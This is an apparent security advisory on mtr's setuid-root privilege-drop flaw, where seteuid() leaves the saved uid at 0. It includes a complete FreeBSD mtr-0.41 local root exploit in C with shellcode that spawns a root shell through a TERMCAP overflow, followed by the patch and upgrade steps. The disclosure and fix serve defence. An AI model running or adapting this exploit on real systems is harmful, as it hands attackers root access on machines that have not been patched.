COMMAND

    mtr

SYSTEMS AFFECTED

    All known versions of mtr installed setuid-root on most UNIX-dialects except HPUX.

PROBLEM

    Viktor  Fougstedt  found  following.   mtr-0.28  seems  to  be   a
    standard package in some Linux distributions, but it is not  known
    whether it is  installed setuid-root.   Since mtr must  open a raw
    socket,  it  needs  root  privileges,  and  must be setuid-root if
    ordinary users are going to be  able to use it.  Contrary  to what
    the  mtr  documentation  claims,  mtr  does not properly drop root
    privileges.    If  it   is  installed   setuid-root,  which    the
    documentation  suggests,  the  entire  program effectively runs as
    root, including all  parts of Gtk,  Gdk, glib and  curses that the
    program uses.

    According to the file called SECURITY in mtr's source distribution
    mtr opens a raw socket pair, and then drops root privileges. Thus,
    no Gtk/curses/mtr  code should  ever execute  with more privileges
    than the access to the raw sockets.  Unfortunately, mtr only  does
    a seteuid(), and not a full setuid() when attempting to drop  root
    privs. seteuid() _only_ affects the effective uid of the  process,
    and the saved  uid is therefore  still 0 after  this call. When  a
    process has saved uid 0, it  may issue a setuid(0) to regain  full
    root privileges (i.e. real and effective uid 0). A malicious  user
    that manages  to take  control over  mtr (perhaps  through gtk  or
    curses) can thus execute arbitrary code as root, by simply calling
    setuid(0) first.

    Had setuid() been used instead  of seteuid(), the saved uid  would
    also have been affected, and a call to setuid(0) would fail,  i.e.
    the process would not be able to regain root privileges.

    This behaviour of  seteuid() is well  documented in, for  example,
    Advanced  Programming  in  the  UNIX  Environment  by  W.  Richard
    Stevens,  as  well  as  Solaris'  manpages, and has been confirmed
    practically.   Taking  control  over  mtr  is  a  question of, for
    example,  finding  a  buffer  overrun  in  mtr,  Gtk, Gdk, glib or
    curses/ncurses.   Since the  saved uid survives across fork()  and
    exec(), any buffer overrun  or similar bug in  mtr is just as  bad
    as if mtr had never done the seteuid() at all.

    The  mtr  code  uses  setuid()  on  HPUX,  which  according to the
    comments in  the mtr  code doesn't  have the  seteuid() call.   It
    does seteuid()  on all  other systems  though.   It is unclear why
    the mtr  authors favoured  seteuid() before  setuid() on platforms
    that have it.

    Here's exploit for FreeBSD's mtr-0.41 sent by Przemyslaw Frasunek:

    /* (c) 2000 babcia padlina / buffer0verfl0w security (www.b0f.com) */
    /* freebsd mtr-0.41 local root exploit */
    
    #include <stdio.h>
    #include <sys/param.h>
    #include <sys/stat.h>
    #include <string.h>
    
    #define NOP		0x90
    #define BUFSIZE		10000
    #define ADDRS		1200
    
    long getesp(void)
    {
       __asm__("movl %esp, %eax\n");
    }
    
    int main(argc, argv)
    int argc;
    char **argv;
    {
	    char *execshell =
	    //seteuid(0);
	    "\x31\xdb\xb8\xb7\xaa\xaa\xaa\x25\xb7\x55\x55\x55\x53\x53\xcd\x80"
	    //setuid(0);
	    "\x31\xdb\xb8\x17\xaa\xaa\xaa\x25\x17\x55\x55\x55\x53\x53\xcd\x80"
	    //execl("/bin/sh", "sh", 0);
	    "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"
	    "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"
	    "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
	    "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";
    
	    char buf[BUFSIZE+ADDRS+1], *p;
	    int noplen, i, ofs;
	    long ret, *ap;
    
	    if (argc < 2) { fprintf(stderr, "usage: %s ofs\n", argv[0]); exit(0); }
    
	    ofs = atoi(argv[1]);
    
	    noplen = BUFSIZE - strlen(execshell);
	    ret = getesp() + ofs;
    
	    memset(buf, NOP, noplen);
	    buf[noplen+1] = '\0';
	    strcat(buf, execshell);
    
	    setenv("EGG", buf, 1);
    
	    p = buf;
            ap = (unsigned long *)p;
    
            for(i = 0; i < ADDRS / 4; i++)
                    *ap++ = ret;
    
            p = (char *)ap;
            *p = '\0';
    
	    fprintf(stderr, "ret: 0x%x\n", ret);
    
	    setenv("TERMCAP", buf, 1);
	    execl("/usr/local/sbin/mtr", "mtr", 0);
    
	    return 0;
    }

SOLUTION

    Do not  run mtr  setuid-root until  patched.   The remedy  to this
    problem is very simple: the  call to seteuid() should be  replaced
    with a call  to setuid().   Apply the following  diff to mtr.c  in
    the mtr distribution.

        161c161
        <   if(seteuid(getuid())) {
        ---
        >   if(setuid(getuid())) {

    mtr-0.42 is now out and it addresses this issue.  For Turbo Linux:

        rpm -Uv ftp://ftp.turbolinux.com/pub/updates/6.0/security/mtr-0.42-1.i386.rpm

    The source rpm can be downloaded here:

        ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/mtr-0.42-1.src.rpm

    Note:  You  must  rebuild  and  install  the  rpm if you choose to
    download and install the srpm.   Simply installing the srpm  alone
    WILL NOT CLOSE THE SECURITY HOLE.

    For FreeBSD:

        1) Remove the mtr port if you have installed it.
        2) Disable the setuid bit - run the following command as root:

             chmod u-s /usr/local/sbin/mtr

           This  will  mean  non-root  users  cannot  make  use of the
           program, since it requires root privileges to properly run.

    So, solution it would be:

        1) Upgrade your  entire ports collection  and rebuild the  mtr
           port.
        2) Reinstall a new package obtained from:

             ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-3-stable/net/mtr-0.42.tgz
             ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/i386/packages-4-current/net/mtr-0.42.tgz
             ftp://ftp.FreeBSD.org/pub/FreeBSD/ports/alpha/packages-4-current/net/mtr-0.42.tgz

        3) download a new port skeleton for the mtr port from:

             http://www.freebsd.org/ports/

           and use it to rebuild the port.

        4) Use the portcheckout utility to automate option (3)  above.
           The     portcheckout     port      is     available      in
           /usr/ports/devel/portcheckout  or   the  package   can   be
           obtained from:

             ftp://ftp.freebsd.org/pub/FreeBSD/ports/packages/devel/portcheckout-1.0.tgz